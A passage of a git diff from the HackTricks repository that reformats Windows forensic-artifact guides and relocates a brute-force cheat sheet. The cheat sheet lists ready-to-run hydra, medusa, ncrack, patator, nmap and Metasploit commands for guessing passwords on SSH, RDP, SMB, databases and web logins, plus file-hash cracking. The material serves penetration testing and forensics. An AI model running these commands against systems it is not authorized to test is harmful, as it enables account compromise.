of pointing to the original path, points to the The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. -## Registry Information +### Registry Information [Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contains interesting information about USB connected devices. -## setupapi +### setupapi Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). -![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (4).png>) +![](<../../../.gitbook/assets/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1).png>) -## USB Detective +### USB Detective [**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. ![](<../../../.gitbook/assets/image (483).png>) -## Plug and Play Cleanup +### Plug and Play Cleanup The 'Plug and Play Cleanup' scheduled task is responsible for **clearing** legacy versions of drivers. It would appear (based upon reports online) that it also picks up **drivers which have not been used in 30 days**, despite its description stating that "the most current version of each driver package will be kept". As such, **removable devices which have not been connected for 30 days may have their drivers removed**.\ The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup’, and its content is displayed below: @@ -169,7 +170,7 @@ The scheduled task itself is located at ‘C:\Windows\System32\Tasks\Microsoft\W The task references 'pnpclean.dll' which is responsible for performing the cleanup activity additionally we see that the ‘UseUnifiedSchedulingEngine’ field is set to ‘TRUE’ which specifies that the generic task scheduling engine is used to manage the task. The ‘Period’ and ‘Deadline’ values of 'P1M' and 'P2M' within ‘MaintenanceSettings’ instruct Task Scheduler to execute the task once every month during regular Automatic maintenance and if it fails for 2 consecutive months, to start attempting the task during.\ **This section was copied from** [**here**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html)**.** -# Emails +## Emails The emails contains **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: @@ -180,7 +181,7 @@ Also, inside the `References` and `In-Reply-To` headers you can find the ID of t ![](<../../../.gitbook/assets/image (484).png>) -## Windows Mail App +### Windows Mail App This application saves the emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with `.dat` extension. @@ -188,7 +189,7 @@ The **metadata** of the emails and the **contacts** can be found inside the **ED **Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html) to open it. Inside the `Message` table you can see the emails. -## Microsoft Outlook +### Microsoft Outlook When Exchange servers or Outlook clients are used there are going to be some MAPI headers: @@ -208,31 +209,31 @@ You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nuc ![](<../../../.gitbook/assets/image (485).png>) -## Outlook OST +### Outlook OST When Microsoft Outlook is configured **using** **IMAP** or using an **Exchange** server, it generates a **OST** file that stores almost the same info as the PST file. It keeps the file synchronized with the server for the l**ast 12 months**, with a **max file-size of 50GB** and in the **same folder as the PST** file is saved. You can inspect this file using [**Kernel OST viewer**](https://www.nucleustechnologies.com/ost-viewer.html). -## Recovering Attachments +### Recovering Attachments You may be able to find them in the folder: * `%APPDATA%\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook` -> IE10 * `%APPDATA%\Local\Microsoft\InetCache\Content.Outlook` -> IE11+ -## Thunderbird MBOX +### Thunderbird MBOX **Thunderbird** stores the information in **MBOX** **files** in the folder `\Users\%USERNAME%\AppData\Roaming\Thunderbird\Profiles` -# Thumbnails +## Thumbnails When a user access a folder and organised it using thumbnails, then a `thumbs.db` file is created. This db **stores the thumbnails of the images** of the folder even if they are deleted.\ in winXP and WIn8-8.1 this file is created automatically. In Win7/Win10, it's created automatically if it's accessed via an UNC path (\IP\folder...). It is possible to read this file with the tool [**Thumbsviewer**](https://thumbsviewer.github.io). -## Thumbcache +### Thumbcache Beginning with Windows Vista, **thumbnail previews are stored in a centralized location on the system**. This provides the system with access to images independent of their location, and addresses issues with the locality of Thumbs.db files. The cache is stored at **`%userprofile%\AppData\Local\Microsoft\Windows\Explorer`** as a number of files with the label **thumbcache\_xxx.db** (numbered by size); as well as an index used to find thumbnails in each sized database. @@ -243,7 +244,7 @@ Beginning with Windows Vista, **thumbnail previews are stored in a centralized l You can read this file using [**ThumbCache Viewer**](https://thumbcacheviewer.github.io). -# Windows Registry +## Windows Registry The Windows Registry Contains a lot of **information** about the **system and the actions of the users**. @@ -259,7 +260,7 @@ The files containing the registry are located in: From Windows Vista and Windows 2008 Server upwards there are some backups of the `HKEY_LOCAL_MACHINE` registry files in **`%Windir%\System32\Config\RegBack\`**.\ Also from these versions, the registry file **`%UserProfile%\{User}\AppData\Local\Microsoft\Windows\USERCLASS.DAT`** is created saving information about program executions. -## Tools +### Tools Some tools are useful to analyzed the registry files: @@ -268,28 +269,28 @@ Some tools are useful to analyzed the registry files: * [**RegRipper**](https://github.com/keydet89/RegRipper3.0): Again, it has a GUI that allows to navigate through the loaded registry and also contains plugins that highlight interesting information inside the loaded registry. * [**Windows Registry Recovery**](https://www.mitec.cz/wrr.html): Another GUI application capable of extracting the important information from the registry loaded. -## Recovering Deleted Element +### Recovering Deleted Element When a key is deleted it's marked as such but until the space it's occupying is needed it won't be removed. Therefore, using tools like **Registry Explorer** it's possible to recover these deleted keys. -## Last Write Time +### Last Write Time Each Key-Value contains a **timestamp** indicating the last time it was modified. -## SAM +### SAM The file/hive **SAM** contains the **users, groups and users passwords** hashes of the system.\ In `SAM\Domains\Account\Users` you can obtain the username, the RID, last logon, last failed logon, login counter, password policy and when the account was created. In order to get the **hashes** you also **need** the file/hive **SYSTEM**. -## Interesting entries in the Windows Registry +### Interesting entries in the Windows Registry {% content-ref url="interesting-windows-registry-keys.md" %} [interesting-windows-registry-keys.md](interesting-windows-registry-keys.md) {% endcontent-ref %} -# Programs Executed +## Programs Executed -## Basic Windows Processes +### Basic Windows Processes in the following page you can learn about the basic Windows processes to detect suspicious behaviours: @@ -297,15 +298,15 @@ in the following page you can learn about the basic Windows processes to detect [windows-processes.md](windows-processes.md) {% endcontent-ref %} -## Windows RecentAPPs +### Windows RecentAPPs Inside the registry `NTUSER.DAT` in the path `Software\Microsoft\Current Version\Search\RecentApps` you can subkeys with information about the **application executed**, **last time** it was executed, and **number of times** it was launched. -## BAM +### BAM You can open the `SYSTEM` file with a registry editor and inside the path `SYSTEM\CurrentControlSet\Services\bam\UserSettings\{SID}` you can find the information about the **applications executed by each user** (note the `{SID}` in the path) and at **what time** they were executed (the time is inside the Data value of the registry). -## Windows Prefetch +### Windows Prefetch Prefetching is a technique that allows a computer to silently **fetch the necessary resources needed to display content** that a user **might access in the near future** so resources can be accessed in less time. @@ -325,7 +326,7 @@ To inspect these files you can use the tool [**PEcmd.exe**](https://github.com/E ![](<../../../.gitbook/assets/image (487).png>) -## Superprefetch +### Superprefetch **Superprefetch** has the same goal as prefetch, **load programs faster** by predicting what is going to be loaded next. However, it doesn't substitute the prefetch service.\ This service will generate database files in `C:\Windows\Prefetch\Ag*.db`. @@ -334,7 +335,7 @@ In these databases you can find the **name** of the **program**, **number** of * You can access this information using the tool [**CrowdResponse**](https://www.crowdstrike.com/resources/community-tools/crowdresponse/). -## SRUM +### SRUM **System Resource Usage Monitor** (SRUM) **monitors** the **resources** **consumed** **by a process**. It appeared in W8 and it stores the data en an ESE database located in `C:\Windows\System32\sru\SRUDB.dat`. @@ -356,7 +357,7 @@ You can obtain the date from this file using the tool [**srum\_dump**](https://g .\srum_dump.exe -i C:\Users\student\Desktop\SRUDB.dat -t SRUM_TEMPLATE.xlsx -o C:\Users\student\Desktop\srum ``` -## AppCompatCache (ShimCache) +### AppCompatCache (ShimCache) **Shimcache**, also known as **AppCompatCache**, is a component of the **Application Compatibility Database**, which was created by **Microsoft** and used by the operating system to identify application compatibility issues. @@ -380,7 +381,7 @@ You can use the tool [**AppCompatCacheParser**](https://github.com/EricZimmerman ![](<../../../.gitbook/assets/image (488).png>) -## Amcache +### Amcache The **Amcache.hve** file is a registry file that stores the information of executed applications. It's located in `C:\Windows\AppCompat\Programas\Amcache.hve` @@ -394,21 +395,21 @@ AmcacheParser.exe -f C:\Users\student\Desktop\Amcache.hve --csv C:\Users\student The most interesting CVS file generated if the `Amcache_Unassociated file entries`. -## RecentFileCache +### RecentFileCache This artifact can only be found in W7 in `C:\Windows\AppCompat\Programs\RecentFileCache.bcf` and it contains information about the recent execution of some binaries. You can use the tool [**RecentFileCacheParse**](https://github.com/EricZimmerman/RecentFileCacheParser) to parse the file. -## Scheduled tasks +### Scheduled tasks You can extract them from `C:\Windows\Tasks` or `C:\Windows\System32\Tasks` and read them as XML. -## Services +### Services You can find them in the registry under `SYSTEM\ControlSet001\Services`. You can see what is going to be executed and when. -## **Windows Store** +### **Windows Store** The installed applications can be found in `\ProgramData\Microsoft\Windows\AppRepository\`\ This repository has a **log** with **each application installed** in the system inside the database **`StateRepository-Machine.srd`**. @@ -418,7 +419,7 @@ Inside the Application table of this database it's possible to find the columns: It's also possible to **find installed application** inside the registry path: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Applications\`\ And **uninstalled** **applications** in: `Software\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore\Deleted\` -# Windows Events +## Windows Events Information that appears inside Windows events: @@ -436,7 +437,7 @@ The location of the event files can be found in the SYSTEM registry in **`HKLM\S They can be visualized from the Windows Event Viewer (**`eventvwr.msc`**) or with other tools like [**Event Log Explorer**](https://eventlogxp.com) **or** [**Evtx Explorer/EvtxECmd**](https://ericzimmerman.github.io/#!index.md)**.** -## Security +### Security These event register the accesses and give information about the security configuration.\ they can be found in `C:\Windows\System32\winevt\Security.evtx`. @@ -475,22 +476,22 @@ The Status and sub status information of the event s can indicate more details a ![](<../../../.gitbook/assets/image (455).png>) -## Recovering Windows Events +### Recovering Windows Events It's highly recommended to turn off the suspicious PC by **unplugging it** to maximize the probabilities of recovering the Windows Events. In case they were deleted, a tool that can be useful to try to recover them is [**Bulk\_extractor**](../partitions-file-systems-carving/file-data-carving-recovery-tools.md#bulk-extractor) indicating the **evtx** extension. -# Identifying Common Attacks with Windows Events +## Identifying Common Attacks with Windows Events -## Brute-Force Attack +### Brute-Force Attack A brute-force attack can be easily identifiable because **several EventIDs 4625 will appear**. **If** the attack was **successful**, after the EventIDs 4625, **an EventID 4624 will appear**. -## Time Change +### Time Change This is awful for the forensics team as all the timestamps will be modified.\ This event is recorded by the EventID 4616 inside the Security Event log. -## USB devices +### USB devices The following System EventIDs are useful: @@ -499,11 +500,11 @@ The following System EventIDs are useful: The EventID 112 from DeviceSetupManager contains the timestamp of each USB device inserted. -## Turn Off / Turn On +### Turn Off / Turn On The ID 6005 of the "Event Log" service indicates the PC was turned On. The ID 6006 indicates it was turned Off. -## Logs Deletion +### Logs Deletion The Security EventID 1102 indicates the logs were deleted. diff --git a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md index fc59160c..16f8e04f 100644 --- a/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md +++ b/forensics/basic-forensic-methodology/windows-forensics/interesting-windows-registry-keys.md @@ -1,5 +1,7 @@ # Interesting Windows Registry Keys +## Interesting Windows Registry Keys +
Support HackTricks and get benefits! @@ -16,38 +18,37 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
+## **Windows system info** -# **Windows system info** - -## Version +### Version * **`Software\Microsoft\Windows NT\CurrentVersion`**: Windows version, Service Pack, Installation time and the registered owner -## Hostname +### Hostname * **`System\ControlSet001\Control\ComputerName\ComputerName`**: Hostname -## Timezone +### Timezone * **`System\ControlSet001\Control\TimeZoneInformation`**: TimeZone -## Last Access Time +### Last Access Time * **`System\ControlSet001\Control\Filesystem`**: Last time access (by default it's disabled with `NtfsDisableLastAccessUpdate=1`, if `0`, then, it's enabled). * To enable it: `fsutil behavior set disablelastaccess 0` -## Shutdown Time +### Shutdown Time * `System\ControlSet001\Control\Windows`: Shutdown time * `System\ControlSet001\Control\Watchdog\Display`: Shutdown count (only XP) -## Network Information +### Network Information * **`System\ControlSet001\Services\Tcpip\Parameters\Interfaces{GUID_INTERFACE}`**: Network interfaces * **`Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Unmanaged` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Signatures\Managed` & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Cache`**: First and last time a network connection was performed and connections through VPN * **`Software\Microsoft\WZCSVC\Parameters\Interfaces{GUID}` (for XP) & `Software\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles`**: Network type (0x47-wireless, 0x06-cable, 0x17-3G) an category (0-Public, 1-Private/Home, 2-Domain/Work) and last connections -## Shared Folders +### Shared Folders * **`System\ControlSet001\Services\lanmanserver\Shares\`**: Share folders and their configurations. If **Client Side Caching** (CSCFLAGS) is enabled, then, a copy of the shared files will be saved in the clients and server in `C:\Windows\CSC` * CSCFlag=0 -> By default the user needs to indicate the files that he wants to cache @@ -57,7 +58,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * CSCFlag=2048: This setting is only on Win 7 & 8 and is the default setting until you disable “Simple file sharing” or use the “advanced” sharing option. It also appears to be the default setting for the “Homegroup” * CSCFlag=768 -> This setting was only seen on shared Print devices. -## AutoStart programs +### AutoStart programs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Run` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\RunOnce` @@ -65,15 +66,15 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * `Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run` * `Software\Microsoft\Windows\CurrentVersion\Run` -## Explorer Searches +### Explorer Searches * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\WordwheelQuery`: What the user searched for using explorer/helper. The item with `MRU=0` is the last one. -## Typed Paths +### Typed Paths * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\TypedPaths`: Paths types in the explorer (only W10) -## Recent Docs +### Recent Docs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocs`: Recent documents opened by the user * `NTUSER.DAT\Software\Microsoft\Office{Version}{Excel|Word}\FileMRU`:Recent office docs. Versions: @@ -85,7 +86,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * 15.0 office 2013 * 16.0 Office 2016 -## MRUs +### MRUs * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LastVisitedMRU` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\ComDlg32\LasVisitedPidlMRU` @@ -97,12 +98,12 @@ Indicates the path from where the executable was executed Indicates files opened inside an opened Window -## Last Run Commands +### Last Run Commands * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU` * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Policies\RunMR` -## User AssistKey +### User AssistKey * `NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\{GUID}\Count` @@ -113,7 +114,7 @@ The GUID is the id of the application. Data saved: * GUI application name (this contains the abs path and more information) * Focus time and Focus name -# Shellbags +## Shellbags When you open a directory Windows saves data about how to visualize the directory in the registry. These entries are known as Shellbags. @@ -136,9 +137,9 @@ Note 2 things from the following image: ![](<../../../.gitbook/assets/image (475).png>) -# USB information +## USB information -## Device Info +### Device Info The registry `HKLM\SYSTEM\ControlSet001\Enum\USBSTOR` monitors each USB device that has been connected to the PC.\ Within this registry it's possible to find: @@ -150,7 +151,7 @@ Within this registry it's possible to find: ![](<../../../.gitbook/assets/image (477).png>) -![](<../../../.gitbook/assets/image (479) (1).png>) +![](<../../../.gitbook/assets/image (479) (1) (1).png>) Moreover, checking the registry `HKLM\SYSTEM\ControlSet001\Enum\USB` and comparing the values of the sub-keys it's possible to find the VID value @@ -160,19 +161,19 @@ With the previous information the registry `SOFTWARE\Microsoft\Windows Portable ![](<../../../.gitbook/assets/image (480).png>) -## User that used the device +### User that used the device Having the **{GUID}** of the device it's now possible to **check all the NTUDER.DAT hives of all the users** searching for the GUID until you find it in one of them (`NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\Mountpoints2`) ![](<../../../.gitbook/assets/image (481).png>) -## Last mounted +### Last mounted Checking the registry `System\MoutedDevices` it's possible to find out **which device was the last one mounted**. In the following image check how the last device mounted in `E:` is the Thoshiba one (using the tool Registry Explorer). -![](<../../../.gitbook/assets/image (483) (1) (1).png>) +![](<../../../.gitbook/assets/image (483) (1).png>) -## Volume Serial Number +### Volume Serial Number In `Software\Microsoft\Windows NT\CurrentVersion\EMDMgmt` you can find the volume serial number. **Knowing the volume name and the volume serial number you can correlate the information** from LNK files that uses that information. @@ -182,7 +183,7 @@ Note that when a USB device is formatted: * A new volume serial number is created * The physical serial number is kept -## Timestamps +### Timestamps In `System\ControlSet001\Enum\USBSTOR{VEN_PROD_VERSION}{USB serial}\Properties{83da6326-97a6-4088-9453-a1923f573b29}\` you can find the first and last time the device was connected: diff --git a/brute-force.md b/generic-methodologies-and-resources/brute-force.md similarity index 89% rename from brute-force.md rename to generic-methodologies-and-resources/brute-force.md index 652acf10..7d0a2005 100644 --- a/brute-force.md +++ b/generic-methodologies-and-resources/brute-force.md @@ -1,4 +1,4 @@ - +# Brute Force - CheatSheet
@@ -16,23 +16,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
- -{% hint style="warning" %} -**Support HackTricks and get benefits!** - -Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access the **latest version of the PEASS or download HackTricks in PDF**? -Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -**Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -**Share your hacking tricks submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** -{% endhint %} - -# Default Credentials +## Default Credentials **Search in google** for default credentials of the technology that is being used, or **try this links**: @@ -48,11 +32,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) * [**http://www.passwordsdatabase.com/**](http://www.passwordsdatabase.com) * [**https://many-passwords.github.io/**](https://many-passwords.github.io) -# **Create your own Dictionaries** +## **Create your own Dictionaries** Find as much information about the target as you can and generate a custom dictionary. Tools that may help: -## Crunch +### Crunch ```bash crunch 4 6 0123456789ABCDEF -o crunch1.txt #From length 4 to 6 using that alphabet @@ -65,13 +49,13 @@ crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha # Only length 4 using chars crunch 6 8 -t ,@@^^%% ``` -## Cewl +### Cewl ```bash cewl example.com -m 5 -w words.txt ``` -## [CUPP](https://github.com/Mebus/cupp) +### [CUPP](https://github.com/Mebus/cupp) Generate passwords based on your knowledge of the victim (names, dates...) @@ -79,9 +63,9 @@ Generate passwords based on your knowledge of the victim (names, dates...) python3 cupp.py -h ``` -## [pydictor](https://github.com/LandGrey/pydictor) +### [pydictor](https://github.com/LandGrey/pydictor) -## Wordlists +### Wordlists * [**https://github.com/danielmiessler/SecLists**](https://github.com/danielmiessler/SecLists) * [**https://github.com/Dormidera/WordList-Compendium**](https://github.com/Dormidera/WordList-Compendium) @@ -89,11 +73,11 @@ python3 cupp.py -h * [**https://github.com/google/fuzzing/tree/master/dictionaries**](https://github.com/carlospolop/hacktricks/tree/95b16dc7eb952272459fc877e4c9d0777d746a16/google/fuzzing/tree/master/dictionaries/README.md) * [**https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm**](https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm) -# Services +## Services Ordered alphabetically by service name. -## AFP +### AFP ```bash nmap -p 548 --script afp-brute @@ -105,38 +89,38 @@ msf> set USER_FILE msf> run ``` -## AJP +### AJP ```bash nmap --script ajp-brute -p 8009 ``` -## Cassandra +### Cassandra ```bash nmap --script cassandra-brute -p 9160 ``` -## CouchDB +### CouchDB ```bash msf> use auxiliary/scanner/couchdb/couchdb_login hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 5984 http-get / ``` -## Docker Registry +### Docker Registry ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst 10.10.10.10 -s 5000 https-get /v2/ ``` -## Elasticsearch +### Elasticsearch ``` hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst localhost -s 9200 http-get / ``` -## FTP +### FTP ```bash hydra -l root -P passwords.txt [-t 32] ftp @@ -144,11 +128,11 @@ ncrack -p 21 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M ftp ``` -## HTTP Generic Brute +### HTTP Generic Brute -### [**WFuzz**](pentesting-web/web-tool-wfuzz.md) +#### [**WFuzz**](../pentesting-web/web-tool-wfuzz.md) -## HTTP Basic Auth +### HTTP Basic Auth ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst sizzle.htb.local http-get /certsrv/ @@ -156,7 +140,7 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl medusa -h -u -P -M http -m DIR:/path/to/auth -T 10 ``` -## HTTP - Post Form +### HTTP - Post Form ```bash hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordlists/password.lst domain.htb http-post-form "/path/index.php:name=^USER^&password=^PASS^&enter=Sign+in:Login name or password is incorrect" -V @@ -165,13 +149,13 @@ hydra -L /usr/share/brutex/wordlists/simple-users.txt -P /usr/share/brutex/wordl For http**s** you have to change from "http-post-form" to "**https-post-form"** -## **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle +### **HTTP - CMS --** (W)ordpress, (J)oomla or (D)rupal or (M)oodle ```bash cmsmap -f W/J/D/M -u a -p a https://wordpress.com ``` -## IMAP +### IMAP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f imap -V @@ -179,19 +163,19 @@ hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 993 -f imap -V nmap -sV --script imap-brute -p ``` -## IRC +### IRC ```bash nmap -sV --script irc-brute,irc-sasl-brute --script-args userdb=/path/users.txt,passdb=/path/pass.txt -p ``` -## ISCSI +### ISCSI ```bash nmap -sV --script iscsi-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 3260 ``` -## JWT +### JWT ```bash #hashcat @@ -216,26 +200,26 @@ python3 jwt-cracker.py -jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1w jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiYWRtaW4iOnRydWV9.TJVA95OrM7E2cBab30RMHrHDcEfxjoYZgeFONFh7HgQ" "abcdefghijklmnopqrstuwxyz" 6 ``` -## LDAP +### LDAP ```bash nmap --script ldap-brute -p 389 ``` -## MQTT +### MQTT ``` ncrack mqtt://127.0.0.1 --user test –P /root/Desktop/pass.txt -v ``` -## Mongo +### Mongo ```bash nmap -sV --script mongodb-brute -n -p 27017 use auxiliary/scanner/mongodb/mongodb_login ``` -## MySQL +### MySQL ```bash # hydra @@ -248,7 +232,7 @@ msf> use auxiliary/scanner/mysql/mysql_login; set VERBOSE false medusa -h -u -P <-f | to stop medusa on first success attempt> -t -M mysql ``` -## OracleSQL +### OracleSQL ```bash patator oracle_login sid= host= user=FILE0 password=FILE1 0=users-oracle.txt 1=pass-oracle.txt -x ignore:code=ORA-01017 @@ -278,20 +262,20 @@ In order to use **oracle\_login** with **patator** you need to **install**: pip3 install cx_Oracle --upgrade ``` -[Offline OracleSQL hash bruteforce](pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): +[Offline OracleSQL hash bruteforce](../network-services-pentesting/1521-1522-1529-pentesting-oracle-listener/remote-stealth-pass-brute-force.md#outer-perimeter-remote-stealth-pass-brute-force) (**versions 11.1.0.6, 11.1.0.7, 11.2.0.1, 11.2.0.2,** and **11.2.0.3**): ```bash nmap -p1521 --script oracle-brute-stealth --script-args oracle-brute-stealth.sid=DB11g -n 10.11.21.30 ``` -## POP +### POP ```bash hydra -l USERNAME -P /path/to/passwords.txt -f pop3 -V hydra -S -v -l USERNAME -P /path/to/passwords.txt -s 995 -f pop3 -V ``` -## PostgreSQL +### PostgreSQL ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt postgres @@ -302,7 +286,7 @@ use auxiliary/scanner/postgres/postgres_login nmap -sV --script pgsql-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 5432 ``` -## PPTP +### PPTP You can download the `.deb` package to install from [https://http.kali.org/pool/main/t/thc-pptp-bruter/](https://http.kali.org/pool/main/t/thc-pptp-bruter/) @@ -311,14 +295,14 @@ sudo dpkg -i thc-pptp-bruter*.deb #Install the package cat rockyou.txt | thc-pptp-bruter –u ``` -## RDP +### RDP ```bash ncrack -vv --user -P pwds.txt rdp:// hydra -V -f -L -P rdp:// ``` -## Redis +### Redis ```bash msf> use auxiliary/scanner/redis/redis_login @@ -326,19 +310,19 @@ nmap --script redis-brute -p 6379 hydra –P /path/pass.txt redis://: # 6379 is the default ``` -## Rexec +### Rexec ```bash hydra -l -P rexec:// -v -V ``` -## Rlogin +### Rlogin ```bash hydra -l -P rlogin:// -v -V ``` -## Rsh +### Rsh ```bash hydra -L rsh:// -v -V @@ -346,19 +330,19 @@ hydra -L rsh:// -v -V [http://pentestmonkey.net/tools/misc/rsh-grind](http://pentestmonkey.net/tools/misc/rsh-grind) -## Rsync +### Rsync ```bash nmap -sV --script rsync-brute --script-args userdb=/var/usernames.txt,passdb=/var/passwords.txt -p 873 ``` -## RTSP +### RTSP ```bash hydra -l root -P passwords.txt rtsp ``` -## SNMP +### SNMP ```bash msf> use auxiliary/scanner/snmp/snmp_login @@ -367,27 +351,27 @@ onesixtyone -c /usr/share/metasploit-framework/data/wordlists/snmp_default_pass. hydra -P /usr/share/seclists/Discovery/SNMP/common-snmp-community-strings.txt target.com snmp ``` -## SMB +### SMB ```bash nmap --script smb-brute -p 445 hydra -l Administrator -P words.txt 192.168.1.12 smb -t 1 ``` -## SMTP +### SMTP ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL ``` -## SOCKS +### SOCKS ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 ``` -## SQL Server +### SQL Server ```bash #Use the NetBIOS name of the machine as domain @@ -398,7 +382,7 @@ nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=cust msf> use auxiliary/scanner/mssql/mssql_login #Be carefull, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` -## SSH +### SSH ```bash hydra -l root -P passwords.txt [-t 32] ssh @@ -407,7 +391,7 @@ medusa -u root -P 500-worst-passwords.txt -h -M ssh patator ssh_login host= port=22 user=root 0=/path/passwords.txt password=FILE0 -x ignore:mesg='Authentication failed' ``` -## Telnet +### Telnet ```bash hydra -l root -P passwords.txt [-t 32] telnet @@ -415,7 +399,7 @@ ncrack -p 23 --user root -P passwords.txt [-T 5] medusa -u root -P 500-worst-passwords.txt -h -M telnet ``` -## VNC +### VNC ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc @@ -430,15 +414,15 @@ set RHOSTS set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` -## Winrm +### Winrm ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -# Local +## Local -## Online cracking databases +### Online cracking databases * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 & SHA1) * [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hashes, WPA2 captures, and archives MSOffice, ZIP, PDF...) @@ -453,7 +437,7 @@ crackmapexec winrm -d -u usernames.txt -p passwords.txt Check this out before trying to bruteforce a Hash. -## ZIP +### ZIP ```bash #sudo apt-get install fcrackzip @@ -471,7 +455,7 @@ hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -## 7z +### 7z ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z @@ -484,7 +468,7 @@ apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` -## PDF +### PDF ```bash apt-get install pdfcrack @@ -495,7 +479,7 @@ sudo apt-get install qpdf qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` 